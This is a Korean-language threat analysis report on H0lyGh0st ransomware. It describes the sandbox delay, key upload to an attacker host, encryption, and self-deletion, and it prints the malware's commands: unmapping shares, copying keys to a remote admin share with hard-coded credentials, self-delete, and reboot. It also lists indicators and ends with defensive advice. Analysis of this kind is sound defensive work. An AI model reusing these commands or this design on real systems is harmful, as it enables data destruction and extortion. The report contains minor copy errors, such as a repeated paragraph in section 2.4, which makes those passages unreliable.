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H0lyGh0st 랜섬웨어2022.08

새로운 북한 공격그룹 등장, 안다리엘과의 연관성 포착

샌드박스 탐지기능 포함, 기존 APT솔루션으로는 탐지불가

H0lyGh0st 랜섬웨어

요약
1. 안다리엘 해킹그룹과의 연관성 포착 → 새로운 북한 해킹그룹으로 추정

2. 샌드박스 탐지기능 포함 → APT 솔루션으로는 탐지 불가

3. 인터넷에 공개된 오픈소스를 사용해 제작 

4. 공개키 암호화 알고리즘을 사용해 데이터 암호화

5. 복호화비를 지불하지 않을 경우 

    데이터를 소셜미디어에 게시하거나 고객에게 전송하겠다고 협박

대응 방안
1. Privacy-i EDR과 같은 EDR 솔루션의 '행위기반 탐지엔진'으로 차단 

   : 일반 Anti-Virus 솔루션에서도 대부분 차단 가능하나 최신 업데이트 필요

2. 악성코드 주요 감염경로인 P2P, 음란, 도박 등 불법 웹사이트 연결 사전차단 

3. 메일 내용과 보내는이 계정에 연관성이 없거나, 문법적으로 어색하고, 

   신뢰할 수 없는 링크 또는 첨부파일 클릭을 유도하는 메일은 실행 금지

4. OS 및 소프트웨어 보안 업데이트 최신형상으로 유지 
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1. 개요

1.1 배경

7월 14일, MSTIC(Microsoft Threat Intelligence Center)01는 북한의 새로운 공격 그룹을 추적 중 이라고 밝혔다. 

MSTIC가 임시로 DEV-0530이라고 명명한 이 그룹은 스스로를 H0lyGh0st라고 부르고 있다.

H0lyGh0st는 2021년 6월부터 랜섬웨어를 개발하고 공격에 활용했으며 

2021년 9월부터는 실제로 여러 국가의 제조기업, 행사기획에이전시 등 중소기업 및 

학교, 은행 등에 피해를 입히는 데 성공했다. 

해당 그룹은 랜섬노트에 피해자가 돈을 지불하지 않을 경우 

데이터를 소셜 미디어에 게시하거나 피해자의 고객들에게 보내겠다는 명목으로 위협을 가한다. 

그러나 샘플 분석결과, 데이터 유출기능은 보이지 않았다. 

종종 랜섬웨어 공격 그룹들은 피해자가 파일 복호화 비용을 지불했음에도 불구하고 

유출된 데이터를 가지고 이중으로 돈을 갈취하기도 한다.

MSTIC는 H0lyGh0st가 PLUTONIUM(Andariel이라고도 불림) 그룹과 연관성이 있다고 평가하고 있다. 

PLUTONIUM 그룹과 H0lyGh0st 그룹의 계정으로 알려진 이메일이 서로 통신하는 것을 확인했기 때문이다. 

두 그룹이 동일한 인프라를 사용한다고도 밝혔으나 공개된 자료 상으로 아직 확인된 바는 없다. 

두 그룹 간에 추가 연관성이 있는지 혹은 동일한 그룹인지 판단하기 위해서는 지속적인 추적이 필요하다.

[그림 1] H0lyGh0st 그룹의 랜섬웨어 유포 타임라인 (출처 MSTIC)

2021년 6월부터 2022년 5월 사이에 발견된 H0lyGh0st 그룹의 랜섬웨어는 [그림1]과 같다. 

크게 두 가지 제품군으로 분류된다. 

하나는 C++로 작성된 랜섬웨어(SiennaPurple)이고, 다른 하나는 Go로 작성된 랜섬웨어(SiennaBlue)이다. 

최근까지 발견된 있는 랜섬웨어는 모두 Go로 작성되었다. 

01 https://www.microsoft.com/security/blog/2022/07/14/north-korean-threat-actor-targets-small-and-midsize-
businesses-with-h0lygh0st-ransomware/
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[그림 2] H0lyGh0st 랜섬웨어가 사용한 오픈소스 프로젝트

H0lyGh0st 그룹이 Go로 작성한 랜섬웨어들은 인터넷에 공개된 소스코드02를 수정해 사용하고 있다. 

해당 오픈소스를 비교해보니 함수명, 전역 변수명, 문자열 등등 동일한 부분이 다수 발견됐다. 

다른 부분도 있다. 부가적인 악성 행위(작업 스케줄러 제거, 샌드박스 우회 등)를 위해 코드가 추가되었으며, 

불필요한 함수(파일 복호화 등)는 제거되었다. 

HolyRS.exe03 와 BLTC.exe04 모두 해당 오픈소스 프로젝트를 수정한 것으로 확인되었다. 

[그림 3] H0lyGh0st 랜섬웨어에 하드코딩되어있는 전역 변수 값

02 https://github.com/mauri870/ransomware

03 https://www.virustotal.com/gui/file/f8fc2445a9814ca8cf48a979bff7f182d6538f4d1ff438cf259268e8b4b76f86

04 https://www.virustotal.com/gui/file/99fc54786a72f32fd44c7391c2171ca31e72ca52725c68e2dde94d04c286fccd

2022.08 H0lyGh0st 랜섬웨어



5

H
0
ly

G
h
0
st 랜

섬
웨

어

2022.08 H0lyGh0st 랜섬웨어

변수명 값 설명

ServerBaseURL “###rserverURL###” 인터넷망에서 접근할 공격자 서버 도메인

IntranetURL “192.168.168.5” 내부망에서 접근할 공격자 서버 도메인

Username “atrismsp” 내부망에서 접근할 계정 아이디

Password “banker!@12” 내부망에서 접근할 계정 비밀번호

SchTaskname “lockertask” 삭제 대상 예약 작업 이름

[표 1] H0lyGh0st 랜섬웨어에 하드코딩되어있는 전역 변수의 값과 용도

랜섬웨어에서 사용하는 통신관련 변수와 예약작업 이름 등은 더미 값으로 하드코딩되어 있다. 

공격자의 PC에서 수집한 샘플 중 하나인 것으로 추정된다.

그러나 OLE 개체 파일을 삽입하는 것은 사용자의 편의를 위해 제공하는 정상적인 기능이므로 

이를 효과적으로 탐지하고 차단하기는 까다로운 상황이다.

1.2 파일 정보

Name BLTC.exe

Type PE32+

Behavior File encryption

SHA-256 bea866b327a2dc2aa104b7ad7307008919c06620771ec3715a059e675d9f40af

Description H0lyGh0st ransomware

[파일 1] H0lyGh0st 랜섬웨어 실행 파일
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2. 분석

[그림 4] H0lyGh0st 랜섬웨어 실행 흐름

2022.08 H0lyGh0st 랜섬웨어
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[ 주요 공격 흐름 : ①~⑪ ]

①

관리자 권한 여부 확인

악성행위를 수행하는데 필요한 권한을 확인한다. 

만약 사용자가 익명 계정 또는 일반 사용자 계정일 경우 더 이상 진행하지 않고 종료한다.

②
샌드박스 탐지 우회

의미 없는 코드를 반복적으로 실행하여 악성행위의 시작 시점을 지연시킨다.

③
공유 폴더 연결 해제

피해자의 PC와 연결되어 있는 모든 네트워크 공유 폴더를 연결 해제시킨다.

④
예약된 작업 삭제

작업 스케줄러에 등록된 특정 작업을 삭제한다.

⑤
공격자 공개키 다운로드

인터넷망에 존재하는 공격자의 서버와 연결하여 공개키를 내려 받는다.

⑥
AES 대칭키와 RSA 키 페어 생성

파일 암호화를 위한 AES-256 대칭키와 RSA-4096 키 페어를 생성한다.

⑦
공격자의 서버에 AES 대칭키와 RSA 키 페어 업로드

추후 파일 복호화를 위해 생성했던 AES 대칭키와 RSA 키 페어를 공격자의 서버에 업로드한다.

⑧
파일 암호화

특정 경로와 확장자를 제외한 모든 파일을 암호화한다. 사용자 홈 디렉토리가 주된 대상이다.

⑨
랜섬노트 생성

피해자로부터 금전을 갈취하기 위해 공격자와 연락할 수 있는 수단을 남긴다. 

⑩
자가 삭제

디스크에서 흔적을 지우기 위해 랜섬웨어 자기 자신을 삭제한다.

⑪
시스템 재시작

기본 유틸리티를 사용하여 시스템을 재시작한다.

2022.08 H0lyGh0st 랜섬웨어
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2.1 관리자 권한 여부 확인

[그림 5] 물리 디스크에 접근 시도

물리 디스크에 접근하여 핸들을 올바르게 가져왔는지 확인한다. 

핸들을 가져왔다면 사용자를 관리자 계정 또는 그 이상의 권한을 가진 계정으로 간주한다. 

악성행위 도중 일반 사용자 계정 권한으로는 수행하지 못하는 

명령(작업 스케줄러 삭제 등)을 실행해야 하기에 필요한 작업이다.

[그림 6] 물리 디스크에 접근 실패 시 실행되는 코드

익명 또는 일반 사용자 계정 권한으로 랜섬웨어 실행 시 악성행위를 수행하지 않고 종료한다.

2022.08 H0lyGh0st 랜섬웨어
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2.2 샌드박스 탐지 우회

[그림 7] 악성행위의 시작을 지연시키는 코드

일반적으로 샌드박스 플랫폼에서 악성코드를 테스트할 경우 실행시간이 제한된다. 

[그림 7]에서는 하드코딩된 AES 대칭키(“H0lyGh0stKey1234”)를 가지고 

공격자 서버의 도메인을 대상으로 암/복호화를 30만 회 반복한다. 

매 반복 시마다 동일한 키와 IV(Initialize Vector)가 사용되므로 암호화와는 관계가 없다. 

반복적인 작업을 여러 번 수행하여 실질적인 악성행위의 시작을 지연시킴으로써 

샌드박스의 탐지를 회피하기 위한 코드로 추정된다.
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2.3 공유 폴더 연결 해제

[그림 8] 공유 폴더의 연결을 해제하는 함수 (디컴파일한 의사코드)

net 유틸리티를 실행해 모든 네트워크 공유 폴더를 연결 해제시킨다. 

실행하는 명령은 “net use * /delete /y”이다.

2.4 예약된 작업 제거

[그림 9] 예약 작업을 삭제하기 위해 DeleteSchTask 함수 호출

net 유틸리티를 실행해 모든 네트워크 공유 폴더를 연결 해제시킨다. 

실행하는 명령은 “net use * /delete /y”이다.

[그림 10] 특정 이름으로 등록된 예약 작업을 삭제하는 함수 (디컴파일한 의사코드)

2022.08 H0lyGh0st 랜섬웨어
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전역 변수 SchTaskname을 인자로 DeleteSchTask 함수를 호출한다. 

실행하는 명령은 “schtasks /delete  /tn <taskname> /f”이다. 

실행 시 하드코딩되어있던 더미 값 “lockertask”가 입력되므로 

해당 이름으로 예약된 작업이 없다면 대부분의 경우에 명령은 실패한다.

2.5 암호키 생성 및 관리

[그림 11] H0lyGh0st 랜섬웨어 암호키 관리 순서도
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여느 랜섬웨어와 비슷하게 본 샘플 또한 피해자의 PC에서 무작위 AES 키와 RSA 키 페어를 생성한다. 

특이한 점은 공격자의 공개키가 실행파일에 하드코딩 되어있지 않고, 공격자의 서버로부터 내려 받는다는 것이다.

그러나 서버 도메인(ServerBaseURL)이 더미 값으로 하드코딩되어 공격자의 공개키를 내려 받을 순 없었다.

이후, 공개키 다운로드의 성공 여부에 따라 실행 흐름을 분기한다. 

공격자의 공개키를 성공적으로 내려 받았다면, 

피해자의 PC에서 생성한 AES 키와 RSA 키 페어를 공격자의 공개키로 암호화한다. 

암호화한 키 값들은 추후 파일 복호화를 위해 공격자의 서버로 전송시킨다. 

공개키 다운로드에 실패했다면, 피해자의 PC에 AES 키와 RSA 키 페어를 잠시 저장한 뒤 

IntranetURL의 특정 경로를 피해자의 PC에 공유 폴더로 연결시키고 복사한다. 

IntranetURL은 공격자가 내부망에서 서버로 사용하기 위해 사전에 장악하는 PC일 것으로 추정된다. 

해당 값은 ServerBaseURL과 마찬가지로 더미 값으로 하드코딩되어있다.

[그림 12] 공격자의 서버로부터 공개키를 내려 받기 위해 주고받는 패킷

공격자의 공개키는 ServerBaseURL에게 HTTP GET 방식으로 요청하여 내려 받는다. 

[그림 12]를 보면 GET 파라미터로 두 가지 값이 있는데, 

order는 특정 데이터를 요청하거나 내려 받는 등 서버와 상호작용하기 위해 필요한 명령이고, 

cmn은 피해자의 컴퓨터 이름(NetBIOS 이름이라고도 불림)이다. 

컴퓨터 이름은 Go에서 제공하는 os 패키지의 Hostname 함수를 호출하여 획득한다.

2022.08 H0lyGh0st 랜섬웨어
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[그림 13] 내려받은 공격자의 공개키를 파일로 저장하는 코드

ServerBaseURL로부터 PEM(Privacy Enhanced Mail) 형식의 공개키를 내려 받아 

랜섬웨어와 동일한 경로에 public.pem이라는 파일명으로 저장한다. 

PEM 형식은 암호키나 인증서 등을 저장하기 위한 파일 형식으로서 

시작과 끝을 알리는 문자열 사이에 Base64로 인코딩 된 값이 존재한다.

[그림 14] 공격자의 공개키가 저장된 파일을 읽고 삭제하는 코드
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아이러니하게도 랜섬웨어는 public.pem 파일을 읽어 들이고 삭제한다. 

디스크에 흔적을 남기지 않고 메모리에서만 읽고 쓰기 위한 것으로 보이는데, 

메모리에 이미 해당 값이 있음에도 불구하고 굳이 파일을 생성해서 값을 쓰고 다시 읽는다는 것은 의아하다. 

다른 의도가 있는지 혹은 개발자 실수인지 알 수 없으나

이 부분은 추후 업데이트 시 최적화 과정에서 제거될 가능성이 있다.

2.5.1 공격자의 공개키 다운로드 성공 시

ServerBaseURL은 더미값으로 하드코딩되어 있어 정상적인 방법으로는 통신할 수 없다. 

따라서, 분석을 위해 임의로 ServerBaseURL 값을 패치하였고, 

패치한 도메인에 대응되는 서버를 별도로 구축하였다.

[그림 15] 무작위 AES-256 대칭키를 생성하는 코드

AES 대칭키를 생성하기 위해 GenerateRandomANString 함수를 호출한다.

해당 함수는 인자로 전달받은 길이 값만큼의 난수를 생성한다. 

인자로 32를 주었기에 32 바이트 길이의 난수 값이 생성된다. 

생성한 난수는 Go에서 제공하는 encoding/hex 패키지의 Encode 함수를 호출하여 

Hex string으로 인코딩 시킨 뒤 AES-256 키 값으로 사용한다. 

2022.08 H0lyGh0st 랜섬웨어
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ServerBaseURL은 더미값으로 하드코딩되어 있어 정상적인 방법으로는 통신할 수 없다. 

따라서, 분석을 위해 임의로 ServerBaseURL 값을 패치하였고, 

패치한 도메인에 대응되는 서버를 별도로 구축하였다.

[그림 16] 무작위 RSA-4096 키 페어를 생성하는 코드

RSA 키 페어를 생성하기 위해 GenerateKeyPair 함수를 호출한다. 

해당 함수는 RSA 암호화에 쓰일 큰 수의 크기를 인자로 전달받는다. 

인자 값은 Go의 crypto/rsa 패키지에서 제공하는 

GenerateMultiPrimeKey 함수의 세 번째 인자(nbits)로 전달된다. 

GenerateKeyPair 함수의 인자로 4096이 들어가므로 랜섬웨어는 RSA-4096 키 페어를 생성하게 된다.

[그림 17] 생성한 암호키들을 공격자의 서버에 업로드하기 위해 주고받는 패킷
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type 설명

1
피해자 PC에서 생성한 무작위 AES-256 대칭키

(공격자의 RSA 공개키로 암호화 + Base64 인코딩)

2
피해자 PC에서 생성한 무작위 RSA-4096 비밀키

(공격자의 RSA 공개키로 암호화  + Base64 인코딩)

[표 2] type 값이 가리키는 의미

키 생성을 마쳤으면 공격자의 공개키로 암호화시켜 서버로 전송한다. 

세 개의 GET 파라미터가 쓰이는데, 그 중에서 type은 

패킷에 포함된 키 값이 어떤 종류의 암호키인지 서버에게 알려주는 역할을 한다. 

type이 뜻하는 의미는 [표 2]와 같다. 

[그림 17]을 보면 type 2의 암호키를 7번 보내고 있는데, 

그 이유는 RSA-4096 비밀키를 총 7차례에 걸쳐 전송하기 때문이다.

[그림 18] 패킷(type 1) 상세 정보

패킷을 확인해보면 암호화시킨 키 값을 key-value 형식으로 전달하는 것을 알 수 있다. 

공격자의 서버에선 피해자를 식별할 수 있도록 컴퓨터 이름으로 파일명 또는 폴더명을 지정하고, 

암호키는 JSON 형식으로 저장하고 있을 것으로 보인다.

2022.08 H0lyGh0st 랜섬웨어
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[그림 19] 패킷(type 2) 상세 정보

총 7차례에 걸쳐 보내지는 RSA-4096 비밀키는 공격자의 공개키로 각각 암호화되어 보내진다.

패킷이 하나라도 누락되면 비밀키를 완성할 수 없어 추후에 파일을 복호화 할 수 있는 가능성이 사라진다.

2.5.2 공격자의 공개키 다운로드 실패 시

2022.08 H0lyGh0st 랜섬웨어
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[그림 20] 무작위 AES-256 키를 생성하는 코드

[그림 21] 무작위 RSA-4096 키 페어를 생성하는 코드

ServerBaseURL로부터 공격자의 공개키 다운로드에 성공했을 때와 동일하게 

무작위 AES-256키와 RSA-4096 키 페어를 생성한다. 

그러나 다운로드에 실패했으므로 인터넷망이 아닌 내부망의 공격자 서버와 통신하기 위한 흐름으로 분기한다.

[그림 22] AES 대칭키와 RSA 비밀키를 파일로 저장하는 코드

2022.08 H0lyGh0st 랜섬웨어
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[그림 23] 파일에 저장된 AES-256 대칭키와 RSA-4096 비밀키

생성한 AES-256 대칭키와 RSA-4096 비밀키를 

C:\Windows\temp 경로 하위에 hrk.tmp라는 이름의 파일로 저장한다. 

별도로 인코딩하거나 암호화하여 저장하지 않는다.

[그림 24] 생성한 암호키들을 공격자의 서버에 업로드하기 위한 코드 (디컴파일한 의사코드)

2022.08 H0lyGh0st 랜섬웨어
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변수명 값

keyPath “\\192.168.168.5\c$\windows\temp\tmp\DESKTOP-36Q0N1O_ky”

cmd1 “net use \\192.168.168.5\c$ banker!@12 /user:atrismspc”

cmd2 “mkdir \\192.168.168.5\c$\windows\temp\tmp”

cmd3
“copy /y c:\windows\temp\hrk.tmp \\192.168.168.5\c$\windows\temp\tmp\

DESKTOP-36Q0N1O_ky”

[표 3] 실행 시 각각의 변수에 저장된 값 (지역 변수명은 임의 지정)

암호키 파일을 생성했다면 [표 3]에 보이는 세 가지 명령(cmd1, cmd2, cmd3)을 실행한다. 

cmd1은 계정 정보를 가지고 내부망의 공격자 서버에 존재하는 C 볼륨을 공유폴더로 사용하게 만든다. 

cmd2는 서버의 특정 경로에 폴더를 생성한다. 

cmd3은 AES-256 대칭키와 RSA-4096 비밀키가 저장된 파일을 cmd2에서 생성했던 폴더에 복사한다. 

각 명령들이 실행되는 시점은 2초의 간격이 존재하는데, 

이는 앞에서 수행했던 명령이 완료되기를 기다리는 것으로 보인다. 

명령 성공여부와 관계없이 hrk.tmp 파일은 삭제된다.

2.6 파일 암호화 대상 선정

[그림 25] 파일 암호화 대상 볼륨을 정하는 함수 (디컴파일한 의사코드)

파일 암호화는 접근 가능한 모든 볼륨을 대상으로 한다. 

할당 가능한 드라이브 문자 중 접근 가능한 볼륨이 있다면 파일 암호화 대상 볼륨으로 분류된다. 

해당 볼륨들은 전역변수 InterestingDirs라는 이름의 문자열 배열에 저장된다.

2022.08 H0lyGh0st 랜섬웨어
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[그림 26] 파일 재귀 탐색 코드

파일 탐색엔 Go에서 제공하는 path/filepath 패키지의 Walk 함수를 사용한다. 

Walk 함수는 주어진 루트 디렉토리 하위의 모든 경로를 재귀적으로 탐색하고 수집할 수 있다. 

심볼릭 링크는 포함시키지 않기에 중복된 경로가 수집될 확률은 낮으며 수집된 경로들은 파일 암호화 대상이다.

ProgramData,

Windows,

bootmgr,

$WINDOWS.~BT,

Windows.old,

tmp,

Program Files,

Program Files (x86),

AppData,

$Recycle.Bin,

System Volume Information,

Default

[표 4] 파일 암호화를 수행하지 않는 폴더 경로 목록 (하위 경로들까지 제외됨)

Walk 함수의 장점 중 하나는 탐색하는 파일마다 os.FileInfo라는 파일 정보 구조체를 제공하기 때문에 

이를 이용해 특정 경로는 수집하지 않고 필터링 할 수 있다는 것이다. 

본 샘플은 파일 재귀 탐색 도중 [표 4]에 나열된 이름의 폴더를 만나면 

해당 경로 하위는 더 이상 탐색하지 않는다. 

나열된 폴더 목록을 보면 랜섬웨어가 사용자 홈 디렉토리를 위주로 암호화한다는 것을 알 수 있다.
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exe,

dll,

sys,

msi,

lib,

msc,

h0lyenc

[표 5] 파일 암호화를 수행하지 않는 파일 확장자 목록

[표 5]에 나열된 확장자를 가졌거나 확장자가 없는 파일들도 암호화 제외 대상이다. 

주로 실행파일들이 대상이며 이미 H0lyGh0st 랜섬웨어에 의해 암호화된 파일 또한 제외된다.

2.7 파일 암호화

[그림 27] 무작위 IV 생성 후 AES-256 CTR 모드 암호화 수행

파일을 매번 암호화할 때마다 16 바이트 길이의 무작위 IV를 생성하여

AES-256 암호화를 CTR 모드로 수행한다.
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[그림 28] AES-256 CTR 모드로 암호화된 파일 데이터

매번 IV가 바뀌기 때문에 파일을 암호화할 때 쓰였던 IV 값은 

추후 파일 복호화를 위해 해당 파일의 마지막에 이어 붙인다.

[그림 29] RSA-4096 (PKCS#1 v1.5) 암호화 수행

2022.08 H0lyGh0st 랜섬웨어
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[그림 30] RSA-4096 (PKCS#1 v1.5) 암호화된 파일 데이터

일반적으로 랜섬웨어에서 공개키 알고리즘을 사용해 파일을 암호화하는 경우는 보기 드물다. 

대칭키 알고리즘보다 성능이 떨어지므로 암호화 횟수가 적을 때, 

또는 작은 크기의 데이터를 암호화할 때 주로 쓰이는데, 

본 샘플에서는 공개키 알고리즘을 파일 암호화 시에도 사용하고 있었다. 

피해자의 PC에서 생성했던 RSA-4096 공개키로 

앞서 AES-256으로 암호화했던 파일을 또 한 번 암호화(PKCS#1 v1.5)시킨다.

RSA 암호화한 데이터는 원본 파일에 바로 쓰지 않고, 

파일 이름에 “.tmp” 확장자를 붙여 %TEMP% 경로에 임시로 저장하고 

원본 파일에 복사 후 임시 파일은 삭제한다.

[그림 31] Base64로 인코딩 된 파일 이름

2022.08 H0lyGh0st 랜섬웨어
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암호화 작업을 마친 파일은 파일명이 Base64로 인코딩 되어 저장된다. 

확장자로는 H0lyGh0st 랜섬웨어에 의해 암호화된 것을 나타내는 “.h0lyenc”가 붙는다.

2.8 랜섬노트 생성

[그림 32] 바탕화면의 절대 경로를 얻는 코드

랜섬노트는 실행파일에 하드코딩 되어있는 경로(“C:\”)와 바탕화면에 각각 저장된다. 

바탕화면 경로를 가져올 때 os/user 패키지에서 제공하는 user.Current 함수를 호출해 

User 구조체를 받아온 뒤 User.HomeDir(사용자 홈 디렉토리)에 “\Desktop”을 이어 붙이는 방식을 

사용하는데, 만약 user.Current 함수 호출에 실패한다면 

랜섬웨어와 동일한 경로에서 Desktop 폴더를 찾는다. 

랜섬노트 파일명은 “FOR_DECRYPT.html”이다.

[그림 33] 생성된 랜섬노트 화면

2022.08 H0lyGh0st 랜섬웨어
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속성 값

사이트 링크 http://gcrtutk2fjcut4lmllvkg5dojbwgu4yvw5rqxmpd2xjeqlogrdeyxoad.onion

이메일 holyghost0228@outlook.com

이미지 링크1

https://usaupload.com/cache/plugins/filepreviewer/374400/e13cb2db41809

93642e2a5b800ec86206e0a0a4885349964868ad20c14f04ceb/1100x800_

cropped.jpg

이미지 링크2 https://usaupload.com/6qsy/Pictures.7z

[표 6] 랜섬노트에 포함되는 정보 목록

생성된 랜섬노트는 [그림 33]과 같다. 

이미지 링크가 더 이상 유효하지 않아 다른 보고서의 랜섬노트와 다소 상이할 수 있다. 

랜섬노트에 포함되어 있는 공격자 관련 정보는 [표 6]과 같다.

토르 웹 브라우저 링크(.onion)는 접속이 불가하였다.

2.9 피해자 정보 기록

[그림 34] 랜섬노트 생성 이후 공격자에게 보내는 패킷

랜섬노트 생성까지 마쳤다면 ServerBaseURL에 “All Finished”라는 문자열을 전송한다. 

피해자를 랜섬웨어에 감염되었다 간주하고 서버 측에서

IP 주소, 컴퓨터 이름, 감염 시간 등을 관리하기 위한 것으로 보인다. 

2022.08 H0lyGh0st 랜섬웨어
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2.10 자가 삭제

[그림 35] 랜섬웨어 실행 파일을 삭제하는 코드

 %windir%\system32\cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del & “<execpath>”

[표 7] 랜섬웨어 삭제 시 실행하는 명령줄

Go에서 제공하는 os.Executable 함수를 호출해 현재 실행파일의 절대경로를 가져와 

SelfDelete 함수를 호출할 때 인자로 전달한다. 

해당 함수 내부에선 syscall 패키지를 사용해 CreateProcess WinAPI를 직접 호출한다. 

실행하는 명령은 [표 7]과 같다.

2.11 시스템 재시작

[그림 36] 시스템을 재시작하는 코드 (디컴파일한 의사코드)

마지막으로 “shutdown /r /t 5” 명령을 수행하여 5초 뒤에 시스템을 재시작한다.

2022.08 H0lyGh0st 랜섬웨어
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3. Privacy-i EDR 탐지 정보

3.1 랜섬웨어 탐지 정보

[그림 37] Privacy-i EDR 랜섬웨어 탐지 정보 (파일 암호화)

Privacy-i EDR은 H0lyGh0st 랜섬웨어를 Ransomware.Unknown으로 탐지하고 있다. 

행위 기반 탐지 엔진에서 랜섬웨어의 파일 암호화 행위를 탐지하고 차단하였다.
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3.2  랜섬웨어 프로세스 실행 정보

[그림 38] H0lyGh0st 랜섬웨어 프로세스 노드 그래프

[그림 39] Privacy-i EDR 랜섬웨어 탐지 정보 (실행 명령줄)
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Privacy-i EDR은 프로세스가 실행했던 명령줄을 수집하여 시각화하고 세부 정보를 조회할 수 있다. 

[그림 39]를 보면 H0lyGh0st 랜섬웨어가 예약 작업을 삭제하거나, 

공유 폴더의 연결을 해제하거나, 

또는 공격자의 서버에 암호키를 업로드하기 위해 사용했던 명령들을 확인할 수 있다.

4. 대응

1. Privacy-i EDR과 같은 EDR 솔루션의 '행위기반 탐지엔진'으로 차단 

   : 일반 Anti-Virus 솔루션에서도 대부분 차단 가능하나 최신 업데이트 필요

2. 악성코드 주요 감염경로인 P2P, 음란, 도박 등 불법 웹사이트 연결 사전차단 

3. 메일 내용과 보내는이 계정에 연관성이 없거나, 문법적으로 어색하고, 

   신뢰할 수 없는 링크 또는 첨부파일 클릭을 유도하는 메일은 실행 금지

4. OS 및 소프트웨어 보안 업데이트 최신형상으로 유지 

본 자료의 전체 혹은 일부를 소만사의 허락을 받지 않고, 무단게재, 복사, 배포는 엄격히 금합니다. 

만일 이를 어길 시에는 민형사상의 손해배상에 처해질 수 있습니다. 

본 자료는 악성코드 분석을 위한 참조 자료로 활용 되어야 하며, 

악성코드 제작 등의 용도로 악용되어서는 안됩니다. 

㈜ 소만사는 이러한 오남용에 대한 책임을 지지 않습니다.

Copyright(c) 2022 ㈜ 소만사 All rights reserved.

궁금하신 점이나 문의사항은 malware@somansa.com 으로 문의주십시오 
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